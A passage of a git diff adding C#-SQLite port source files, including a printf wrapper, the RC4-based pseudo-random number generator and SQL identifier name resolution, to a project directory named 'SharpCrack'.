ap, zFormat ); + sqlite3VXPrintf( acc, 0, zFormat, ap ); + va_end( ref ap ); + } + Console.Write( sqlite3StrAccumFinish( acc ) ); + //fflush(stdout); + } +#endif +#if !SQLITE_OMIT_TRACE + /* +** variable-argument wrapper around sqlite3VXPrintf(). +*/ + static void sqlite3XPrintf( StrAccum p, string zFormat, params object[] ap ) + { + //va_list ap; + lock ( lock_va_list ) + { + va_start( ap, zFormat ); + sqlite3VXPrintf( p, 1, zFormat, ap ); + va_end( ref ap ); + } + } +#endif + + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/random_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/random_c.cs new file mode 100644 index 0000000..41f962f --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/random_c.cs @@ -0,0 +1,203 @@ +using System; +using System.Diagnostics; + +using i64 = System.Int64; +using u8 = System.Byte; +using u32 = System.UInt32; +using u64 = System.UInt64; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains code to implement a pseudo-random number + ** generator (PRNG) for SQLite. + ** + ** Random numbers are used by some of the database backends in order + ** to generate random integer keys for tables or random filenames. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + + + /* All threads share a single random number generator. + ** This structure is the current state of the generator. + */ + public class sqlite3PrngType + { + public bool isInit; /* True if initialized */ + public int i; + public int j; /* State variables */ + public u8[] s = new u8[256]; /* State variables */ + + public sqlite3PrngType Copy() + { + sqlite3PrngType cp = (sqlite3PrngType)MemberwiseClone(); + cp.s = new u8[s.Length]; + Array.Copy( s, cp.s, s.Length ); + return cp; + } + } + public static sqlite3PrngType sqlite3Prng = new sqlite3PrngType(); + /* + ** Get a single 8-bit random value from the RC4 PRNG. The Mutex + ** must be held while executing this routine. + ** + ** Why not just use a library random generator like lrand48() for this? + ** Because the OP_NewRowid opcode in the VDBE depends on having a very + ** good source of random numbers. The lrand48() library function may + ** well be good enough. But maybe not. Or maybe lrand48() has some + ** subtle problems on some systems that could cause problems. It is hard + ** to know. To minimize the risk of problems due to bad lrand48() + ** implementations, SQLite uses this random number generator based + ** on RC4, which we know works very well. + ** + ** (Later): Actually, OP_NewRowid does not depend on a good source of + ** randomness any more. But we will leave this code in all the same. + */ + static u8 randomu8() + { + u8 t; + + /* The "wsdPrng" macro will resolve to the pseudo-random number generator + ** state vector. If writable static data is unsupported on the target, + ** we have to locate the state vector at run-time. In the more common + ** case where writable static data is supported, wsdPrng can refer directly + ** to the "sqlite3Prng" state vector declared above. + */ +#if SQLITE_OMIT_WSD +struct sqlite3PrngType *p = &GLOBAL(struct sqlite3PrngType, sqlite3Prng); +//# define wsdPrng p[0] +#else + //# define wsdPrng sqlite3Prng + sqlite3PrngType wsdPrng = sqlite3Prng; +#endif + + + /* Initialize the state of the random number generator once, +** the first time this routine is called. The seed value does +** not need to contain a lot of randomness since we are not +** trying to do secure encryption or anything like that... +** +** Nothing in this file or anywhere else in SQLite does any kind of +** encryption. The RC4 algorithm is being used as a PRNG (pseudo-random +** number generator) not as an encryption device. +*/ + if ( !wsdPrng.isInit ) + { + int i; + u8[] k = new u8[256]; + wsdPrng.j = 0; + wsdPrng.i = 0; + sqlite3OsRandomness( sqlite3_vfs_find( "" ), 256, k ); + for ( i = 0; i < 255; i++ ) + { + wsdPrng.s[i] = (u8)i; + } + for ( i = 0; i < 255; i++ ) + { + wsdPrng.j = (u8)( wsdPrng.j + wsdPrng.s[i] + k[i] ); + t = wsdPrng.s[wsdPrng.j]; + wsdPrng.s[wsdPrng.j] = wsdPrng.s[i]; + wsdPrng.s[i] = t; + } + wsdPrng.isInit = true; + } + + /* Generate and return single random u8 + */ + wsdPrng.i++; + t = wsdPrng.s[(u8)wsdPrng.i]; + wsdPrng.j = (u8)( wsdPrng.j + t ); + wsdPrng.s[(u8)wsdPrng.i] = wsdPrng.s[wsdPrng.j]; + wsdPrng.s[wsdPrng.j] = t; + t += wsdPrng.s[(u8)wsdPrng.i]; + return wsdPrng.s[t]; + } + + /* + ** Return N random u8s. + */ + static void sqlite3_randomness( int N, ref i64 pBuf ) + { + u8[] zBuf = new u8[N]; + pBuf = 0; +#if SQLITE_THREADSAFE + sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_PRNG ); +#endif + sqlite3_mutex_enter( mutex ); + while ( N-- > 0 ) + { + pBuf = (u32)( ( pBuf << 8 ) + randomu8() );// zBuf[N] = randomu8(); + } + sqlite3_mutex_leave( mutex ); + } + + static void sqlite3_randomness( byte[] pBuf, int Offset, int N ) + { + i64 iBuf = System.DateTime.Now.Ticks; +#if SQLITE_THREADSAFE + sqlite3_mutex mutex = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_PRNG); +#endif + sqlite3_mutex_enter( mutex ); + while ( N-- > 0 ) + { + iBuf = (u32)( ( iBuf << 8 ) + randomu8() );// zBuf[N] = randomu8(); + pBuf[Offset++] = (byte)iBuf; + } + sqlite3_mutex_leave( mutex ); + } + +#if !SQLITE_OMIT_BUILTIN_TEST + /* +** For testing purposes, we sometimes want to preserve the state of +** PRNG and restore the PRNG to its saved state at a later time, or +** to reset the PRNG to its initial state. These routines accomplish +** those tasks. +** +** The sqlite3_test_control() interface calls these routines to +** control the PRNG. +*/ + static sqlite3PrngType sqlite3SavedPrng = null; + static void sqlite3PrngSaveState() + { + sqlite3SavedPrng = sqlite3Prng.Copy(); + // memcpy( + // &GLOBAL(struct sqlite3PrngType, sqlite3SavedPrng), + // &GLOBAL(struct sqlite3PrngType, sqlite3Prng), + // sizeof(sqlite3Prng) + //); + } + static void sqlite3PrngRestoreState() + { + sqlite3Prng = sqlite3SavedPrng.Copy(); + //memcpy( + // &GLOBAL(struct sqlite3PrngType, sqlite3Prng), + // &GLOBAL(struct sqlite3PrngType, sqlite3SavedPrng), + // sizeof(sqlite3Prng) + //); + } + static void sqlite3PrngResetState() + { + sqlite3Prng.isInit = false;// GLOBAL(struct sqlite3PrngType, sqlite3Prng).isInit = 0; + } +#endif //* SQLITE_OMIT_BUILTIN_TEST */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/resolve_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/resolve_c.cs new file mode 100644 index 0000000..15b4b0c --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/resolve_c.cs @@ -0,0 +1,1420 @@ +using System; +using System.Diagnostics; +using System.Text; + +using Bitmask = System.UInt64; +using i16 = System.Int16; +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; + +#if !SQLITE_MAX_VARIABLE_NUMBER +using ynVar = System.Int16; +#else +using ynVar = System.Int32; +#endif + +namespace Community.CsharpSqlite +{ + using sqlite3_value = Sqlite3.Mem; + + public partial class Sqlite3 + { + /* + ** 2008 August 18 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file contains routines used for walking the parser tree and + ** resolve all identifiers by associating them with a particular + ** table and column. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + //#include + //#include + + /* + ** Turn the pExpr expression into an alias for the iCol-th column of the + ** result set in pEList. + ** + ** If the result set column is a simple column reference, then this routine + ** makes an exact copy. But for any other kind of expression, this + ** routine make a copy of the result set column as the argument to the + ** TK_AS operator. The TK_AS operator causes the expression to be + ** evaluated just once and then reused for each alias. + ** + ** The reason for suppressing the TK_AS term when the expression is a simple + ** column reference is so that the column reference will be recognized as + ** usable by indices within the WHERE clause processing logic. + ** + ** Hack: The TK_AS operator is inhibited if zType[0]=='G'. This means + ** that in a GROUP BY clause, the expression is evaluated twice. Hence: + ** + ** SELECT random()%5 AS x, count(*) FROM tab GROUP BY x + ** + ** Is equivalent to: + ** + ** SELECT random()%5 AS x, count(*) FROM tab GROUP BY random()%5 + ** + ** The result of random()%5 in the GROUP BY clause is probably different + ** from the result in the result-set. We might fix this someday. Or + ** then again, we might not... + */ + static void resolveAlias( + Parse pParse, /* Parsing context */ + ExprList pEList, /* A result set */ + int iCol, /* A column in the result set. 0..pEList.nExpr-1 */ + Expr pExpr, /* Transform this into an alias to the result set */ + string zType /* "GROUP" or "ORDER" or "" */ + ) + { + Expr pOrig; /* The iCol-th column of the result set */ + Expr pDup; /* Copy of pOrig */ + sqlite3 db; /* The database connection */ + + Debug.Assert( iCol >= 0 && iCol < pEList.nExpr ); + pOrig = pEList.a[iCol].pExpr; + Debug.Assert( pOrig != null ); + Debug.Assert( ( pOrig.flags & EP_Resolved ) != 0 ); + db = pParse.db; + if ( pOrig.op != TK_COLUMN && ( zType.Length == 0 || zType[0] != 'G' ) ) + { + pDup = sqlite3ExprDup( db, pOrig, 0 ); + pDup = sqlite3PExpr( pParse, TK_AS, pDup, null, null ); + if ( pDup == null ) + return; + if ( pEList.a[iCol].iAlias == 0 ) + { + pEList.a[iCol].iAlias = (u16)( ++pParse.nAlias ); + } + pDup.iTable = pEList.a[iCol].iAlias; + } + else if ( ExprHasProperty( pOrig, EP_IntValue ) || pOrig.u.zToken == null ) + { + pDup = sqlite3ExprDup( db, pOrig, 0 ); + if ( pDup == null ) + return; + } + else + { + string zToken = pOrig.u.zToken; + Debug.Assert( zToken != null ); + pOrig.u.zToken = null; + pDup = sqlite3ExprDup( db, pOrig, 0 ); + pOrig.u.zToken = zToken; + if ( pDup == null ) + return; + Debug.Assert( ( pDup.flags & ( EP_Reduced | EP_TokenOnly ) ) == 0 ); + pDup.flags2 |= EP2_MallocedToken; + pDup.u.zToken = zToken;// sqlite3DbStrDup( db, zToken ); + } + if ( ( pExpr.flags & EP_ExpCollate ) != 0 ) + { + pDup.pColl = pExpr.pColl; + pDup.flags |= EP_ExpCollate; + } + + /* Before calling sqlite3ExprDelete(), set the EP_Static flag. This + ** prevents ExprDelete() from deleting the Expr structure itself, + ** allowing it to be repopulated by the memcpy() on the following line. + */ + ExprSetProperty( pExpr, EP_Static ); + sqlite3ExprDelete( db, ref pExpr ); + pExpr.CopyFrom( pDup ); //memcpy(pExpr, pDup, sizeof(*pExpr)); + sqlite3DbFree( db, ref pDup ); + } + + /* + ** Given the name of a column of the form X.Y.Z or Y.Z or just Z, look up + ** that name in the set of source tables in pSrcList and make the pExpr + ** expression node refer back to that source column. The following changes + ** are made to pExpr: + ** + ** pExpr->iDb Set the index in db->aDb[] of the database X + ** (even if X is implied). + ** pExpr->iTable Set to the cursor number for the table obtained + ** from pSrcList. + ** pExpr->pTab Points to the Table structure of X.Y (even if + ** X and/or Y are implied.) + ** pExpr->iColumn Set to the column number within the table. + ** pExpr->op Set to TK_COLUMN. + ** pExpr->pLeft Any expression this points to is deleted + ** pExpr->pRight Any expression this points to is deleted. + ** + ** The zDb variable is the name of the database (the "X"). This value may be + ** NULL meaning that name is of the form Y.Z or Z. Any available database + ** can be used. The zTable variable is the name of the table (the "Y"). This + ** value can be NULL if zDb is also NULL. If zTable is NULL it + ** means that the form of the name is Z and that columns from any table + ** can be used. + ** + ** If the name cannot be resolved unambiguously, leave an error message + ** in pParse and return WRC_Abort. Return WRC_Prune on success. + */ + static int lookupName( + Parse pParse, /* The parsing context */ + string zDb, /* Name of the database containing table, or NULL */ + string zTab, /* Name of table containing column, or NULL */ + string zCol, /* Name of the column. */ + NameContext pNC, /* The name context used to resolve the name */ + Expr pExpr /* Make this EXPR node point to the selected column */ + ) + { + int i, j; /* Loop counters */ + int cnt = 0; /* Number of matching column names */ + int cntTab = 0; /* Number of matching table names */ + sqlite3 db = pParse.db; /* The database connection */ + SrcList_item pItem; /* Use for looping over pSrcList items */ + SrcList_item pMatch = null; /* The matching pSrcList item */ + NameContext pTopNC = pNC; /* First namecontext in the list */ + Schema pSchema = null; /* Schema of the expression */ + int isTrigger = 0; + + Debug.Assert( pNC != null ); /* the name context cannot be NULL. */ + Debug.Assert( zCol != null ); /* The Z in X.Y.Z cannot be NULL */ + Debug.Assert( !ExprHasAnyProperty( pExpr, EP_TokenOnly | EP_Reduced ) ); + + /* Initialize the node to no-match */ + pExpr.iTable = -1; + pExpr.pTab = null; + ExprSetIrreducible( pExpr ); + + /* Start at the inner-most context and move outward until a match is found */ + while ( pNC != null && cnt == 0 ) + { + ExprList pEList; + SrcList pSrcList = pNC.pSrcList; + + if ( pSrcList != null ) + { + for ( i = 0; i < pSrcList.nSrc; i++ )//, pItem++ ) + { + pItem = pSrcList.a[i]; + Table pTab; + int iDb; + Column pCol; + + pTab = pItem.pTab; + Debug.Assert( pTab != null && pTab.zName != null ); + iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); + Debug.Assert( pTab.nCol > 0 ); + if ( zTab != null ) + { + if ( pItem.zAlias != null ) + { + string zTabName = pItem.zAlias; + if ( !zTabName.Equals( zTab, StringComparison.InvariantCultureIgnoreCase ) ) + continue; + } + else + { + string zTabName = pTab.zName; + if ( NEVER( zTabName == null ) || !zTabName.Equals( zTab ,StringComparison.InvariantCultureIgnoreCase ) ) + { + continue; + } + if ( zDb != null && !db.aDb[iDb].zName.Equals( zDb ,StringComparison.InvariantCultureIgnoreCase ) ) + { + continue; + } + } + } + if ( 0 == ( cntTab++ ) ) + { + pExpr.iTable = pItem.iCursor; + pExpr.pTab = pTab; + pSchema = pTab.pSchema; + pMatch = pItem; + } + for ( j = 0; j < pTab.nCol; j++ )//, pCol++ ) + { + pCol = pTab.aCol[j]; + if ( pCol.zName.Equals( zCol, StringComparison.InvariantCultureIgnoreCase ) ) + { + IdList pUsing; + cnt++; + pExpr.iTable = pItem.iCursor; + pExpr.pTab = pTab; + pMatch = pItem; + pSchema = pTab.pSchema; + /* Substitute the rowid (column -1) for the INTEGER PRIMARY KEY */ + pExpr.iColumn = (short)( j == pTab.iPKey ? -1 : j ); + if ( i < pSrcList.nSrc - 1 ) + { + if ( ( pSrcList.a[i + 1].jointype & JT_NATURAL ) != 0 )// pItem[1].jointype + { + /* If this match occurred in the left table of a natural join, + ** then skip the right table to avoid a duplicate match */ + //pItem++; + i++; + } + else if ( ( pUsing = pSrcList.a[i + 1].pUsing ) != null )//pItem[1].pUsing + { + /* If this match occurs on a column that is in the USING clause + ** of a join, skip the search of the right table of the join + ** to avoid a duplicate match there. */ + int k; + for ( k = 0; k < pUsing.nId; k++ ) + { + if ( pUsing.a[k].zName.Equals( zCol ,StringComparison.InvariantCultureIgnoreCase ) ) + { + //pItem++; + i++; + break; + } + } + } + } + break; + } + } + } + } + +#if !SQLITE_OMIT_TRIGGER + /* If we have not already resolved the name, then maybe + ** it is a new.* or old.* trigger argument reference + */ + if ( zDb == null && zTab != null && cnt == 0 && pParse.pTriggerTab != null ) + { + int op = pParse.eTriggerOp; + Table pTab = null; + Debug.Assert( op == TK_DELETE || op == TK_UPDATE || op == TK_INSERT ); + if ( op != TK_DELETE && "new".Equals( zTab ,StringComparison.InvariantCultureIgnoreCase ) ) + { + pExpr.iTable = 1; + pTab = pParse.pTriggerTab; + } + else if ( op != TK_INSERT && "old".Equals( zTab ,StringComparison.InvariantCultureIgnoreCase ) ) + { + pExpr.iTable = 0; + pTab = pParse.pTriggerTab; + } + + if ( pTab != null ) + { + int iCol; + pSchema = pTab.pSchema; + cntTab++; + for ( iCol = 0; iCol < pTab.nCol; iCol++ ) + { + Column pCol = pTab.aCol[iCol]; + if ( pCol.zName.Equals( zCol ,StringComparison.InvariantCultureIgnoreCase ) ) + { + if ( iCol == pTab.iPKey ) + { + iCol = -1; + } + break; + } + } + if ( iCol >= pTab.nCol && sqlite3IsRowid( zCol ) ) + { + iCol = -1; /* IMP: R-44911-55124 */ + } + if ( iCol < pTab.nCol ) + { + cnt++; + if ( iCol < 0 ) + { + pExpr.affinity = SQLITE_AFF_INTEGER; + } + else if ( pExpr.iTable == 0 ) + { + testcase( iCol == 31 ); + testcase( iCol == 32 ); + pParse.oldmask |= ( iCol >= 32 ? 0xffffffff : ( ( (u32)1 ) << iCol ) ); + } + else + { + testcase( iCol == 31 ); + testcase( iCol == 32 ); + pParse.newmask |= ( iCol >= 32 ? 0xffffffff : ( ( (u32)1 ) << iCol ) ); + } + pExpr.iColumn = (i16)iCol; + pExpr.pTab = pTab; + isTrigger = 1; + } + } + } +#endif //* !SQLITE_OMIT_TRIGGER) */ + + /* + ** Perhaps the name is a reference to the ROWID + */ + if ( cnt == 0 && cntTab == 1 && sqlite3IsRowid( zCol ) ) + { + cnt = 1; + pExpr.iColumn = -1; /* IMP: R-44911-55124 */ + pExpr.affinity = SQLITE_AFF_INTEGER; + } + + /* + ** If the input is of the form Z (not Y.Z or X.Y.Z) then the name Z + ** might refer to an result-set alias. This happens, for example, when + ** we are resolving names in the WHERE clause of the following command: + ** + ** SELECT a+b AS x FROM table WHERE x<10; + ** + ** In cases like this, replace pExpr with a copy of the expression that + ** forms the result set entry ("a+b" in the example) and return immediately. + ** Note that the expression in the result set should have already been + ** resolved by the time the WHERE clause is resolved. + */ + if ( cnt == 0 && ( pEList = pNC.pEList ) != null && zTab == null ) + { + for ( j = 0; j < pEList.nExpr; j++ ) + { + string zAs = pEList.a[j].zName; + if ( zAs != null && zAs.Equals( zCol ,StringComparison.InvariantCultureIgnoreCase ) ) + { + Expr pOrig; + Debug.Assert( pExpr.pLeft == null && pExpr.pRight == null ); + Debug.Assert( pExpr.x.pList == null ); + Debug.Assert( pExpr.x.pSelect == null ); + pOrig = pEList.a[j].pExpr; + if ( 0 == pNC.allowAgg && ExprHasProperty( pOrig, EP_Agg ) ) + { + sqlite3ErrorMsg( pParse, "misuse of aliased aggregate %s", zAs ); + return WRC_Abort; + } + resolveAlias( pParse, pEList, j, pExpr, "" ); + cnt = 1; + pMatch = null; + Debug.Assert( zTab == null && zDb == null ); + goto lookupname_end; + } + } + } + + /* Advance to the next name context. The loop will exit when either + ** we have a match (cnt>0) or when we run out of name contexts. + */ + if ( cnt == 0 ) + { + pNC = pNC.pNext; + } + } + + /* + ** If X and Y are NULL (in other words if only the column name Z is + ** supplied) and the value of Z is enclosed in double-quotes, then + ** Z is a string literal if it doesn't match any column names. In that + ** case, we need to return right away and not make any changes to + ** pExpr. + ** + ** Because no reference was made to outer contexts, the pNC.nRef + ** fields are not changed in any context. + */ + if ( cnt == 0 && zTab == null && ExprHasProperty( pExpr, EP_DblQuoted ) ) + { + pExpr.op = TK_STRING; + pExpr.pTab = null; + return WRC_Prune; + } + + /* + ** cnt==0 means there was not match. cnt>1 means there were two or + ** more matches. Either way, we have an error. + */ + if ( cnt != 1 ) + { + string zErr; + zErr = cnt == 0 ? "no such column" : "ambiguous column name"; + if ( zDb != null ) + { + sqlite3ErrorMsg( pParse, "%s: %s.%s.%s", zErr, zDb, zTab, zCol ); + } + else if ( zTab != null ) + { + sqlite3ErrorMsg( pParse, "%s: %s.%s", zErr, zTab, zCol ); + } + else + { + sqlite3ErrorMsg( pParse, "%s: %s", zErr, zCol ); + } + pParse.checkSchema = 1; + pTopNC.nErr++; + } + + /* If a column from a table in pSrcList is referenced, then record + ** this fact in the pSrcList.a[].colUsed bitmask. Column 0 causes + ** bit 0 to be set. Column 1 sets bit 1. And so forth. If the + ** column number is greater than the number of bits in the bitmask + ** then set the high-order bit of the bitmask. + */ + if ( pExpr.iColumn >= 0 && pMatch != null ) + { + int n = pExpr.iColumn; + testcase( n == BMS - 1 ); + if ( n >= BMS ) + { + n = BMS - 1; + } + Debug.Assert( pMatch.iCursor == pExpr.iTable ); + pMatch.colUsed |= ( (Bitmask)1 ) << n; + } + + /* Clean up and return + */ + sqlite3ExprDelete( db, ref pExpr.pLeft ); + pExpr.pLeft = null; + sqlite3ExprDelete( db, ref pExpr.pRight ); + pExpr.pRight = null; + pExpr.op = (u8)( isTrigger != 0 ? TK_TRIGGER : TK_COLUMN ); +lookupname_end: + if ( cnt == 1 ) + { + Debug.Assert( pNC != null ); + sqlite3AuthRead( pParse, pExpr, pSchema, pNC.pSrcList ); + /* Increment the nRef value on all name contexts from TopNC up to + ** the point where the name matched. */ + for ( ; ; ) + { + Debug.Assert( pTopNC != null ); + pTopNC.nRef++; + if ( pTopNC == pNC ) + break; + pTopNC = pTopNC.pNext; + } + return WRC_Prune; + } + else + { + return WRC_Abort; + } + } + + /* + ** Allocate and return a pointer to an expression to load the column iCol + ** from datasource iSrc in SrcList pSrc. + */ + static Expr sqlite3CreateColumnExpr( sqlite3 db, SrcList pSrc, int iSrc, int iCol ) + { + Expr p = sqlite3ExprAlloc( db, TK_COLUMN, null, 0 ); + if ( p != null ) + { + SrcList_item pItem = pSrc.a[iSrc]; + p.pTab = pItem.pTab; + p.iTable = pItem.iCursor; + if ( p.pTab.iPKey == iCol ) + { + p.iColumn = -1; + } + else + { + p.iColumn = (ynVar)iCol; + testcase( iCol == BMS ); + testcase( iCol == BMS - 1 ); + pItem.colUsed |= ( (Bitmask)1 ) << ( iCol >= BMS ? BMS - 1 : iCol ); + } + ExprSetProperty( p, EP_Resolved ); + } + return p; + } + + /* + ** This routine is callback for sqlite3WalkExpr(). + ** + ** Resolve symbolic names into TK_COLUMN operators for the current + ** node in the expression tree. Return 0 to continue the search down + ** the tree or 2 to abort the tree walk. + ** + ** This routine also does error checking and name resolution for + ** function names. The operator for aggregate functions is changed + ** to TK_AGG_FUNCTION. + */ + static int resolveExprStep( Walker pWalker, ref Expr pExpr ) + { + NameContext pNC; + Parse pParse; + + pNC = pWalker.u.pNC; + Debug.Assert( pNC != null ); + pParse = pNC.pParse; + Debug.Assert( pParse == pWalker.pParse ); + + if ( ExprHasAnyProperty( pExpr, EP_Resolved ) ) + return WRC_Prune; + ExprSetProperty( pExpr, EP_Resolved ); +#if !NDEBUG + if ( pNC.pSrcList != null && pNC.pSrcList.nAlloc > 0 ) + { + SrcList pSrcList = pNC.pSrcList; + int i; + for ( i = 0; i < pNC.pSrcList.nSrc; i++ ) + { + Debug.Assert( pSrcList.a[i].iCursor >= 0 && pSrcList.a[i].iCursor < pParse.nTab ); + } + } +#endif + switch ( pExpr.op ) + { + +#if (SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !(SQLITE_OMIT_SUBQUERY) +/* The special operator TK_ROW means use the rowid for the first +** column in the FROM clause. This is used by the LIMIT and ORDER BY +** clause processing on UPDATE and DELETE statements. +*/ +case TK_ROW: { +SrcList pSrcList = pNC.pSrcList; +SrcList_item pItem; +Debug.Assert( pSrcList !=null && pSrcList.nSrc==1 ); +pItem = pSrcList.a[0]; +pExpr.op = TK_COLUMN; +pExpr.pTab = pItem.pTab; +pExpr.iTable = pItem.iCursor; +pExpr.iColumn = -1; +pExpr.affinity = SQLITE_AFF_INTEGER; +break; +} +#endif //* defined(SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !defined(SQLITE_OMIT_SUBQUERY) / + + /* A lone identifier is the name of a column. +*/ + case TK_ID: + { + return lookupName( pParse, null, null, pExpr.u.zToken, pNC, pExpr ); + } + + /* A table name and column name: ID.ID + ** Or a database, table and column: ID.ID.ID + */ + case TK_DOT: + { + string zColumn; + string zTable; + string zDb; + Expr pRight; + + /* if( pSrcList==0 ) break; */ + pRight = pExpr.pRight; + if ( pRight.op == TK_ID ) + { + zDb = null; + zTable = pExpr.pLeft.u.zToken; + zColumn = pRight.u.zToken; + } + else + { + Debug.Assert( pRight.op == TK_DOT ); + zDb = pExpr.pLeft.u.zToken; + zTable = pRight.pLeft.u.zToken; + zColumn = pRight.pRight.u.zToken; + } + return lookupName( pParse, zDb, zTable, zColumn, pNC, pExpr ); + } + + /* Resolve function names + */ + case TK_CONST_FUNC: + case TK_FUNCTION: + { + ExprList pList = pExpr.x.pList; /* The argument list */ + int n = pList != null ? pList.nExpr : 0; /* Number of arguments */ + bool no_such_func = false; /* True if no such function exists */ + bool wrong_num_args = false; /* True if wrong number of arguments */ + bool is_agg = false; /* True if is an aggregate function */ + int auth; /* Authorization to use the function */ + int nId; /* Number of characters in function name */ + string zId; /* The function name. */ + FuncDef pDef; /* Information about the function */ + u8 enc = (u8)pParse.db.aDbStatic[0].pSchema.enc;// ENC( pParse.db ); /* The database encoding */ + + testcase( pExpr.op == TK_CONST_FUNC ); + Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); + zId = pExpr.u.zToken; + nId = sqlite3Strlen30( zId ); + pDef = sqlite3FindFunction( pParse.db, zId, nId, n, enc, 0 ); + if ( pDef == null ) + { + pDef = sqlite3FindFunction( pParse.db, zId, nId, -1, enc, 0 ); + if ( pDef == null ) + { + no_such_func = true; + } + else + { + wrong_num_args = true; + } + } + else + { + is_agg = pDef.xFunc == null; + } +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +if( pDef ){ +auth = sqlite3AuthCheck(pParse, SQLITE_FUNCTION, 0, pDef.zName, 0); +if( auth!=SQLITE_OK ){ +if( auth==SQLITE_DENY ){ +sqlite3ErrorMsg(pParse, "not authorized to use function: %s", +pDef.zName); +pNC.nErr++; +} +pExpr.op = TK_NULL; +return WRC_Prune; +} +} +#endif + if ( is_agg && 0 == pNC.allowAgg ) + { + sqlite3ErrorMsg( pParse, "misuse of aggregate function %.*s()", nId, zId ); + pNC.nErr++; + is_agg = false; + } + else if ( no_such_func ) + { + sqlite3ErrorMsg( pParse, "no such function: %.*s", nId, zId ); + pNC.nErr++; + } + else if ( wrong_num_args ) + { + sqlite3ErrorMsg( pParse, "wrong number of arguments to function %.*s()", + nId, zId ); + pNC.nErr++; + } + if ( is_agg ) + { + pExpr.op = TK_AGG_FUNCTION; + pNC.hasAgg = 1; + } + if ( is_agg ) + pNC.allowAgg = 0; + sqlite3WalkExprList( pWalker, pList ); + if ( is_agg ) + pNC.allowAgg = 1; + /* FIX ME: Compute pExpr.affinity based on the expected return + ** type of the function + */ + return WRC_Prune; + } +#if !SQLITE_OMIT_SUBQUERY + case TK_SELECT: + case TK_EXISTS: + { + testcase( pExpr.op == TK_EXISTS ); + goto case TK_IN; + } +#endif + case TK_IN: + { + testcase( pExpr.op == TK_IN ); + if ( ExprHasProperty( pExpr, EP_xIsSelect ) ) + { + int nRef = pNC.nRef; +#if !SQLITE_OMIT_CHECK + if ( pNC.isCheck != 0 ) + { + sqlite3ErrorMsg( pParse, "subqueries prohibited in CHECK constraints" ); + } +#endif + sqlite3WalkSelect( pWalker, pExpr.x.pSelect ); + Debug.Assert( pNC.nRef >= nRef ); + if ( nRef != pNC.nRef ) + { + ExprSetProperty( pExpr, EP_VarSelect ); + } + } + break; + } +#if !SQLITE_OMIT_CHECK + case TK_VARIABLE: + { + if ( pNC.isCheck != 0 ) + { + sqlite3ErrorMsg( pParse, "parameters prohibited in CHECK constraints" ); + } + break; + } +#endif + } + return ( pParse.nErr != 0 /* || pParse.db.mallocFailed != 0 */ ) ? WRC_Abort : WRC_Continue; + } + + /* + ** pEList is a list of expressions which are really the result set of the + ** a SELECT statement. pE is a term in an ORDER BY or GROUP BY clause. + ** This routine checks to see if pE is a simple identifier which corresponds + ** to the AS-name of one of the terms of the expression list. If it is, + ** this routine return an integer between 1 and N where N is the number of + ** elements in pEList, corresponding to the matching entry. If there is + ** no match, or if pE is not a simple identifier, then this routine + ** return 0. + ** + ** pEList has been resolved. pE has not. + */ + static int resolveAsName( + Parse pParse, /* Parsing context for error messages */ + ExprList pEList, /* List of expressions to scan */ + Expr pE /* Expression we are trying to match */ + ) + { + int i; /* Loop counter */ + + UNUSED_PARAMETER( pParse ); + + if ( pE.op == TK_ID ) + { + string zCol = pE.u.zToken; + + for ( i = 0; i < pEList.nExpr; i++ ) + { + string zAs = pEList.a[i].zName; + if ( zAs != null && zAs.Equals( zCol ,StringComparison.InvariantCultureIgnoreCase ) ) + { + return i + 1; + } + } + } + return 0; + } + + /* + ** pE is a pointer to an expression which is a single term in the + ** ORDER BY of a compound SELECT. The expression has not been + ** name resolved. + ** + ** At the point this routine is called, we already know that the + ** ORDER BY term is not an integer index into the result set. That + ** case is handled by the calling routine. + ** + ** Attempt to match pE against result set columns in the left-most + ** SELECT statement. Return the index i of the matching column, + ** as an indication to the caller that it should sort by the i-th column. + ** The left-most column is 1. In other words, the value returned is the + ** same integer value that would be used in the SQL statement to indicate + ** the column. + ** + ** If there is no match, return 0. Return -1 if an error occurs. + */ + static int resolveOrderByTermToExprList( + Parse pParse, /* Parsing context for error messages */ + Select pSelect, /* The SELECT statement with the ORDER BY clause */ + Expr pE /* The specific ORDER BY term */ + ) + { + int i = 0; /* Loop counter */ + ExprList pEList; /* The columns of the result set */ + NameContext nc; /* Name context for resolving pE */ + sqlite3 db; /* Database connection */ + int rc; /* Return code from subprocedures */ + u8 savedSuppErr; /* Saved value of db->suppressErr */ + + Debug.Assert( sqlite3ExprIsInteger( pE, ref i ) == 0 ); + pEList = pSelect.pEList; + + /* Resolve all names in the ORDER BY term expression + */ + nc = new NameContext();// memset( &nc, 0, sizeof( nc ) ); + nc.pParse = 